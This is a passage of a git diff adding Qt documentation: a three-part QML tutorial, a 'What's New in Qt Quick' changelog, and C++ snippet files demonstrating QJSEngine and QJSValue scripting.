+This tutorial gives an introduction to QML, the mark up language for Qt Quick. It doesn't cover everything;
+the emphasis is on teaching the key principles, and features are introduced as needed.
+
+Through the different steps of this tutorial we will learn about QML basic types, we will create our own QML component
+with properties and signals, and we will create a simple animation with the help of states and transitions.
+
+Chapter one starts with a minimal "Hello world" program and the following chapters introduce new concepts.
+
+The tutorial's source code is located in the $QTDIR/examples/declarative/tutorials/helloworld directory.
+
+Tutorial chapters:
+
+\list 1
+\o \l {QML Tutorial 1 - Basic Types}{Basic Types}
+\o \l {QML Tutorial 2 - QML Components}{QML Components}
+\o \l {QML Tutorial 3 - States and Transitions}{States and Transitions}
+\endlist
+
+*/
+
+/*!
+\page qml-tutorial1.html
+\title QML Tutorial 1 - Basic Types
+\contentspage QML Tutorial
+\previouspage QML Tutorial
+\nextpage QML Tutorial 2 - QML Component
+
+This first program is a very simple "Hello world" example that introduces some basic QML concepts.
+The picture below is a screenshot of this program.
+
+\image declarative-tutorial1.png
+
+Here is the QML code for the application:
+
+\snippet examples/declarative/tutorials/helloworld/tutorial1.qml 0
+
+\section1 Walkthrough
+
+\section2 Import
+
+First, we need to import the types that we need for this example. Most QML files will import the built-in QML
+types (like \l{Rectangle}, \l{Image}, ...) that come with Qt, using:
+
+\snippet examples/declarative/tutorials/helloworld/tutorial1.qml 3
+
+\section2 Rectangle element
+
+\snippet examples/declarative/tutorials/helloworld/tutorial1.qml 1
+
+We declare a root element of type \l{Rectangle}. It is one of the basic building blocks you can use to create an application in QML.
+We give it an \c{id} to be able to refer to it later. In this case, we call it "page".
+We also set the \c width, \c height and \c color properties.
+The \l{Rectangle} element contains many other properties (such as \c x and \c y), but these are left at their default values.
+
+\section2 Text element
+
+\snippet examples/declarative/tutorials/helloworld/tutorial1.qml 2
+
+We add a \l Text element as a child of the root Rectangle element that displays the text 'Hello world!'.
+
+The \c y property is used to position the text vertically at 30 pixels from the top of its parent.
+
+The \c anchors.horizontalCenter property refers to the horizontal center of an element.
+In this case, we specify that our text element should be horizontally centered in the \e page element (see \l{anchor-layout}{Anchor-Based Layout}).
+
+The \c font.pointSize and \c font.bold properties are related to fonts and use the \l{dot properties}{dot notation}.
+
+
+\section2 Viewing the example
+
+To view what you have created, run the \l{QML Viewer} tool (located in the \c bin directory) with your filename as the first argument.
+For example, to run the provided completed Tutorial 1 example from the install location, you would type:
+
+\code
+bin/qmlviewer $QTDIR/examples/declarative/tutorials/helloworld/tutorial1.qml
+\endcode
+*/
+
+/*!
+\page qml-tutorial2.html
+\title QML Tutorial 2 - QML Components
+\contentspage QML Tutorial
+\previouspage QML Tutorial 1 - Basic Types
+\nextpage QML Tutorial 3 - States and Transitions
+
+This chapter adds a color picker to change the color of the text.
+
+\image declarative-tutorial2.png
+
+Our color picker is made of six cells with different colors.
+To avoid writing the same code multiple times for each cell, we create a new \c Cell component.
+A component provides a way of defining a new type that we can re-use in other QML files.
+A QML component is like a black-box and interacts with the outside world through properties, signals and functions and is generally
+defined in its own QML file. (For more details, see \l {Defining New Components}).
+The component's filename must always start with a capital letter.
+
+Here is the QML code for \c Cell.qml:
+
+\snippet examples/declarative/tutorials/helloworld/Cell.qml 0
+
+\section1 Walkthrough
+
+\section2 The Cell Component
+
+\snippet examples/declarative/tutorials/helloworld/Cell.qml 1
+
+The root element of our component is an \l Item with the \c id \e container.
+An \l Item is the most basic visual element in QML and is often used as a container for other elements.
+
+\snippet examples/declarative/tutorials/helloworld/Cell.qml 4
+
+We declare a \c cellColor property. This property is accessible from \e outside our component, this allows us
+to instantiate the cells with different colors.
+This property is just an alias to an existing property - the color of the rectangle that compose the cell (see \l{Property Binding}).
+
+\snippet examples/declarative/tutorials/helloworld/Cell.qml 5
+
+We want our component to also have a signal that we call \e clicked with a \e cellColor parameter of type \e color.
+We will use this signal to change the color of the text in the main QML file later.
+
+\snippet examples/declarative/tutorials/helloworld/Cell.qml 2
+
+Our cell component is basically a colored rectangle with the \c id \e rectangle.
+
+The \c anchors.fill property is a convenient way to set the size of an element.
+In this case the rectangle will have the same size as its parent (see \l{anchor-layout}{Anchor-Based Layout}).
+
+\snippet examples/declarative/tutorials/helloworld/Cell.qml 3
+
+In order to change the color of the text when clicking on a cell, we create a \l MouseArea element with
+the same size as its parent.
+
+A \l MouseArea defines a signal called \e clicked.
+When this signal is triggered we want to emit our own \e clicked signal with the color as parameter.
+
+\section2 The main QML file
+
+In our main QML file, we use our \c Cell component to create the color picker:
+
+\snippet examples/declarative/tutorials/helloworld/tutorial2.qml 0
+
+We create the color picker by putting 6 cells with different colors in a grid.
+
+\snippet examples/declarative/tutorials/helloworld/tutorial2.qml 1
+
+When the \e clicked signal of our cell is triggered, we want to set the color of the text to the \e cellColor passed as a parameter.
+We can react to any signal of our component through a property of the name \e 'onSignalName' (see \l{Signal Handlers}).
+*/
+
+/*!
+\page qml-tutorial3.html
+\title QML Tutorial 3 - States and Transitions
+\contentspage QML Tutorial
+\previouspage QML Tutorial 2 - QML Component
+
+In this chapter, we make this example a little bit more dynamic by introducing states and transitions.
+
+We want our text to move to the bottom of the screen, rotate and become red when clicked.
+
+\image declarative-tutorial3_animation.gif
+
+Here is the QML code:
+
+\snippet examples/declarative/tutorials/helloworld/tutorial3.qml 0
+
+\section1 Walkthrough
+
+\snippet examples/declarative/tutorials/helloworld/tutorial3.qml 2
+
+First, we create a new \e down state for our text element.
+This state will be activated when the \l MouseArea is pressed, and deactivated when it is released.
+
+The \e down state includes a set of property changes from our implicit \e {default state}
+(the items as they were initially defined in the QML).
+Specifically, we set the \c y property of the text to \c 160, the rotation to \c 180 and the \c color to red.
+
+\snippet examples/declarative/tutorials/helloworld/tutorial3.qml 3
+
+Because we don't want the text to appear at the bottom instantly but rather move smoothly,
+we add a transition between our two states.
+
+\c from and \c to define the states between which the transition will run.
+In this case, we want a transition from the default state to our \e down state.
+
+Because we want the same transition to be run in reverse when changing back from the \e down state to the default state,
+we set \c reversible to \c true.
+This is equivalent to writing the two transitions separately.
+
+The \l ParallelAnimation element makes sure that the two types of animations (number and color) start at the same time.
+We could also run them one after the other by using \l SequentialAnimation instead.
+
+For more details on states and transitions, see \l {QML States} and the \l{declarative/animation/states}{states and transitions example}.
+*/
diff --git a/doc/src/qtquick1/whatsnew.qdoc b/doc/src/qtquick1/whatsnew.qdoc
new file mode 100644
index 0000000000..d3db1346ea
--- /dev/null
+++ b/doc/src/qtquick1/whatsnew.qdoc
@@ -0,0 +1,243 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\title What's New in Qt Quick
+\page qtquick-whatsnew.html
+
+\section1 Qt 5.0.0 includes QtQuick 2.0
+
+QtQuick 2.0 is a major update.
+
+MouseArea now propagates clicked, doubleClicked and pressAndHold differently to pressed.
+These will now be propagated to the highest-stacking-order enabled MouseArea which has a handler for them.
+You can still ignore these events in the handler to let them pass through.
+
+The Binding element can now be used as a value source, and will also restore any previously
+set binding when its \e when clause becomes false.
+
+QDeclarativeExpression can now be directly (and more efficiently) constructed from a
+QDeclarativeScriptString.
+
+Flickable: added dragging, draggingHorizontally and draggingVerically properties.
+
+Image has two new properties: horizontalAlignment and verticalAlignment. It also has a new value for
+fillMode (Image.Pad) that does not transform the image.
+
+The Loader element now only emits the \c sourceChanged signal when the source is changed and the
+\c sourceComponentChanged signal when the sourceComponent is changed. It used to emit both signals when one
+of the properties was changed.
+
+\section2 QtQuick 1 is now a separate library and module
+
+Writing C++ applications using QtQuick 1 specific API, i.e. QDeclarativeView or QDeclarativeItem
+requires adding the "qtquick1" module to the .pro file, e.g. QT += declarative qtquick1
+
+QDeclarativeView and QDeclarativeItem headers are now in the QtQuick 1 module, i.e.
+#include <QtQuick1/QDeclarativeView>
+#include <QtQuick1/QDeclarativeItem>
+
+"import QtQuick 1.0" loads the module dynamically. To deploy QtQuick 1 applications
+the library (lib/libQtQuick1*) and plugin (imports/QtQuick/) must be installed.
+
+
+\section2 PathView
+
+Added the following properties:
+\list
+\o \l {PathView::}{currentItem}
+\endlist
+
+\section1 Qt 4.7.4 includes QtQuick 1.1
+
+QtQuick 1.1 is a minor feature update. \e {import QtQuick 1.1} to use the new
+features.
+
+\section2 PinchArea
+
+PinchArea provides support for the common two finger pinch gesture.
+
+\section2 LayoutMirroring attached property
+
+\l {LayoutMirroring}{Layout mirroring} is useful when you need to support both
+left-to-right and right-to-left layout versions of your application that target
+different language areas.
+
+\section2 Anchors
+
+Added the following property:
+\list
+\o \l {Item::}{anchors.mirrored}
+\endlist
+
+\section2 Text
+
+Added the following properties:
+\list
+\o \l {Text::}{lineHeight}
+\o \l {Text::}{lineHeightMode}
+\o \l {Text::}{lineCount}
+\o \l {Text::}{maximumLineCount}
+\o \l {Text::}{truncated}
+\o \l {Text::}{effectiveHorizontalAlignment}
+\endlist
+
+horizontalAlignment now accepts Text.AlignJustify alignment mode.
+
+\section2 TextEdit
+
+Added the following properties, methods and signal handlers:
+\list
+\o \l {TextEdit::}{canPaste}
+\o \l {TextEdit::}{lineCount}
+\o \l {TextEdit::}{inputMethodComposing}
+\o \l {TextEdit::}{mouseSelectionMode}
+\o \l {TextEdit::}{effectiveHorizontalAlignment}
+\o \l {TextEdit::}{deselect()}
+\o \l {TextEdit::}{isRightToLeft()}
+\o \l {TextEdit::}{moveCursorSelection()} to enable selection by word
+\o \l {TextEdit::}{onLinkActivated}
+\endlist
+
+\section2 TextInput
+
+Added the following properties and methods:
+\list
+\o \l {TextInput::}{canPaste}
+\o \l {TextInput::}{inputMethodComposing}
+\o \l {TextInput::}{mouseSelectionMode}
+\o \l {TextInput::}{effectiveHorizontalAlignment}
+\o \l {TextInput::}{deselect()}
+\o \l {TextInput::}{isRightToLeft()}
+\o \l {TextInput::}{moveCursorSelection()} to enable selection by word
+\endlist
+
+\section2 Image, BorderImage and AnimatedImage
+
+Added the following properties:
+\list
+\o \l{Image::}{cache}
+\o \l{Image::}{mirror}
+\endlist
+
+\section2 Item
+
+Added the following properties:
+\list
+\o \l{Item::}{implicitWidth} and \l{Item::}{implicitHeight}
+\endlist
+
+\section2 Flickable
+
+Added the following methods:
+\list
+\o \l{Flickable::}{resizeContent()}
+\o \l{Flickable::}{returnToBounds()}
+\endlist
+
+\section2 MouseArea
+
+Added the following property:
+\list
+\o \l{MouseArea::}{preventStealing}
+\endlist
+
+\section2 ListView and GridView
+
+Added the following properties and methods:
+\list
+\o \l{ListView::}{layoutDirection}
+\o \l{ListView::}{effectiveLayoutDirection}
+\o \l{ListView::}{positionViewAtBeginning()}
+\o \l{ListView::}{positionViewAtEnd()}
+\endlist
+
+\section2 Flow, Grid and Row
+
+Added the following properties:
+\list
+\o \l{Flow::}{layoutDirection}
+\o \l{Flow::}{effectiveLayoutDirection}
+\endlist
+
+\section2 Repeater
+
+Added the following methods and signal handlers:
+\list
+\o \l{Repeater::}{onItemAdded}
+\o \l{Repeater::}{onItemRemoved}
+\o \l{Repeater::}{itemAt()}
+\endlist
+
+\section2 Component
+
+\list
+\o The \l{Component::}{createObject()} method now accepts a map of initial
+property values for the created object.
+\endlist
+
+\section2 Qt
+
+\list
+\o Added the \l {QML:Qt::application}{Qt.application} object to hold generic
+global application properties.
+\endlist
+
+\section2 Other changes
+
+\list
+\o Functions can be \l{Property Binding#Property Binding}{assigned to properties from JavaScript}
+to create property bindings.
+\o QtQuick now supports Right to Left layout in positioners, views, anchors and text elements.
+\endlist
+
+
+\section1 Qt 4.7.1
+
+\section2 QtQuick namespace
+
+In prior Qt releases, all the Qt Quick elements were available in the \e Qt
+namespace. Starting with Qt 4.7.1, the elements are also available in the
+\e QtQuick namespace, which improves naming consistency, and allows the
+development of Qt Quick to occur at a faster rate than Qt's usual minor release
+schedule.
+
+The change for developers is very simple - where you previously wrote
+\e {import Qt 4.7}, just replace it with \e {import QtQuick 1.0}, like this:
+
+\code
+import QtQuick 1.0
+
+Text {
+ text: "Welcome to QtQuick 1.0!"
+}
+\endcode
+
+\e {import Qt 4.7} continues to work so existing applications won't break even
+if they aren't updated, but it is recommended that all import statements be
+modified to the new form.
+*/
diff --git a/doc/src/snippets/code/src_script_qjsengine.cpp b/doc/src/snippets/code/src_script_qjsengine.cpp
new file mode 100644
index 0000000000..56c3d6b114
--- /dev/null
+++ b/doc/src/snippets/code/src_script_qjsengine.cpp
@@ -0,0 +1,90 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [0]
+QJSEngine myEngine;
+QJSValue three = myEngine.evaluate("1 + 2");
+//! [0]
+
+
+//! [1]
+QJSValue fun = myEngine.evaluate("(function(a, b) { return a + b; })");
+QJSValueList args;
+args << 1 << 2;
+QJSValue threeAgain = fun.call(QJSValue(), args);
+//! [1]
+
+
+//! [2]
+QString fileName = "helloworld.qs";
+QFile scriptFile(fileName);
+if (!scriptFile.open(QIODevice::ReadOnly))
+ // handle error
+QTextStream stream(&scriptFile);
+QString contents = stream.readAll();
+scriptFile.close();
+myEngine.evaluate(contents, fileName);
+//! [2]
+
+
+//! [3]
+myEngine.globalObject().setProperty("myNumber", 123);
+...
+QJSValue myNumberPlusOne = myEngine.evaluate("myNumber + 1");
+//! [3]
+
+
+//! [4]
+QJSValue result = myEngine.evaluate(...);
+if (myEngine.hasUncaughtException())
+ qDebug() << "uncaught exception:" << result.toString();
+//! [4]
+
+
+//! [5]
+QPushButton button;
+QJSValue scriptButton = myEngine.newQObject(&button);
+myEngine.globalObject().setProperty("button", scriptButton);
+
+myEngine.evaluate("button.checkable = true");
+
+qDebug() << scriptButton.property("checkable").toBoolean();
+scriptButton.property("show").call(); // call the show() slot
+//! [5]
diff --git a/doc/src/snippets/code/src_script_qjsvalue.cpp b/doc/src/snippets/code/src_script_qjsvalue.cpp
new file mode 100644
index 0000000000..c64c4c0f2a
--- /dev/null
+++ b/doc/src/snippets/code/src_script_qjsvalue.cpp
@@ -0,0 +1,65 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [0]
+QJSEngine myEngine;
+QJSValue myObject = myEngine.newObject();
+QJSValue myOtherObject = myEngine.newObject();
+myObject.setProperty("myChild", myOtherObject);
+myObject.setProperty("name", "John Doe");
+//! [0]
+
+
+//! [1]
+QJSEngine engine;
+engine.evaluate("function fullName() { return this.firstName + ' ' + this.lastName; }");
+engine.evaluate("somePerson = { firstName: 'John', lastName: 'Doe' }");
+
+QJSValue global = engine.globalObject();
+QJSValue fullName = global.property("fullName");
+QJSValue who = global.property("somePerson");
+qDebug() << fullName.call(who).toString(); // "John Doe"
+
+engine.evaluate("function cube(x) { return x * x * x; }");
+QJSValue cube = global.property("cube");
+QJSValueList args;
+args << 3;
+qDebug() << cube.call(QJSValue(), args).toNumber(); // 27
+//! [1]
diff --git a/doc/src/snippets/code/src_script_qjsvalueiterator.cpp b/doc/src/snippets/code/src_script_qjsvalueiterator.cpp
new file mode 100644
index 0000000000..f72e9180e1
--- /dev/null
+++ b/doc/src/snippets/code/src_script_qjsvalueiterator.cpp
@@ -0,0 +1,72 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [0]
+QScriptValue object;
+...
+QScriptValueIterator it(object);
+while (it.hasNext()) {
+ it.next();
+ qDebug() << it.name() << ": " << it.value().toString();
+}
+//! [0]
+
+
+//! [1]
+QScriptValue obj = ...; // the object to iterate over
+while (obj.isObject()) {
+ QScriptValueIterator it(obj);
+ while (it.hasNext()) {
+ it.next();
+ qDebug() << it.name();
+ }
+ obj = obj.prototype();
+}
+//! [1]
+
+
+//! [2]
+while (it.hasNext()) {
+ it.next();
+ if (it.flags() & QScriptValue::SkipInEnumeration)
+ continue;
+ qDebug() << "found enumerated property:" << it.name();
+}
+//! [2]
diff --git a/doc/src/snippets/declarative/reusablecomponents/Button.qml b/doc/src/snippets/declarative/reusablecomponents/Button.qml
index 3b97e00952..6a0567ec99 100644
--- a/doc/src/snippets/declarative/reusablecomponents/Button.qml
+++ b/doc/src/snippets/declarative/reusablecomponents/Button.qml
@@ -51,6 +51,9 @@ Rectangle {
smooth: true; radius: 9
property alias text: label.text
//! [properties]
+//! [object alias]
+ property alias label: label
+//! [object alias]
border {color: "#B9C5D0"; width: 1}
gradient: Gradient {
@@ -58,7 +61,7 @@ Rectangle {
GradientStop {color: "#99C0E5"; position: 0.57}
GradientStop {color: "#719FCB"; position: 0.9}
}
-
+//![text]
Text {
id: label
anchors.centerIn: parent
@@ -66,7 +69,7 @@ Rectangle {
font.pointSize: 12
color: "blue"
}
-
+//![text]
MouseArea {
anchors.fill: parent
onClicked: console.log(text + " clicked")
diff --git a/doc/src/snippets/declarative/reusablecomponents/application.qml b/doc/src/snippets/declarative/reusablecomponents/application.qml
index a09b276b73..4fd8ed2bf6 100644
--- a/doc/src/snippets/declarative/reusablecomponents/application.qml
+++ b/doc/src/snippets/declarative/reusablecomponents/application.qml
@@ -50,6 +50,9 @@ Rectangle {
Button {}
Button {text: "Me Too!"}
Button {text: "Me Three!"}
+//! [grouped property]
+ Button {label.color: "green"}
+//! [grouped property]
}
}
//! [document]
diff --git a/doc/src/snippets/qtjavascript/evaluation/main.cpp b/doc/src/snippets/qtjavascript/evaluation/main.cpp
new file mode 100644
index 0000000000..77825669a8
--- /dev/null
+++ b/doc/src/snippets/qtjavascript/evaluation/main.cpp
@@ -0,0 +1,51 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtDeclarative>
+
+int main(int argc, char *argv[])
+{
+ QCoreApplication app(argc, argv);
+ //! [0]
+ QJSEngine engine;
+ qDebug() << "the magic number is:" << engine.evaluate("1 + 2").toNumber();
+ //! [0]
+ return 0;
+}
diff --git a/doc/src/snippets/qtjavascript/registeringobjects/main.cpp b/doc/src/snippets/qtjavascript/registeringobjects/main.cpp
new file mode 100644
index 0000000000..25c0f148e7
--- /dev/null
+++ b/doc/src/snippets/qtjavascript/registeringobjects/main.cpp
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QObject>
+#include <QtDeclarative>
+#include "myobject.h"
+
+int main(int argc, char *argv[])
+{
+ QCoreApplication app(argc, argv);
+ //! [0]
+ QJSEngine engine;
+ QObject *someObject = new MyObject;
+ QJSValue objectValue = engine.newQObject(someObject);
+ engine.globalObject().setProperty("myObject", objectValue);
+ //! [0]
+ qDebug() << "myObject's calculate() function returns"
+ << engine.evaluate("myObject.calculate(10)").toNumber();
+ return 0;
+}
diff --git a/doc/src/snippets/qtjavascript/registeringvalues/main.cpp b/doc/src/snippets/qtjavascript/registeringvalues/main.cpp
new file mode 100644
index 0000000000..fe32f7065a
--- /dev/null
+++ b/doc/src/snippets/qtjavascript/registeringvalues/main.cpp
@@ -0,0 +1,53 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
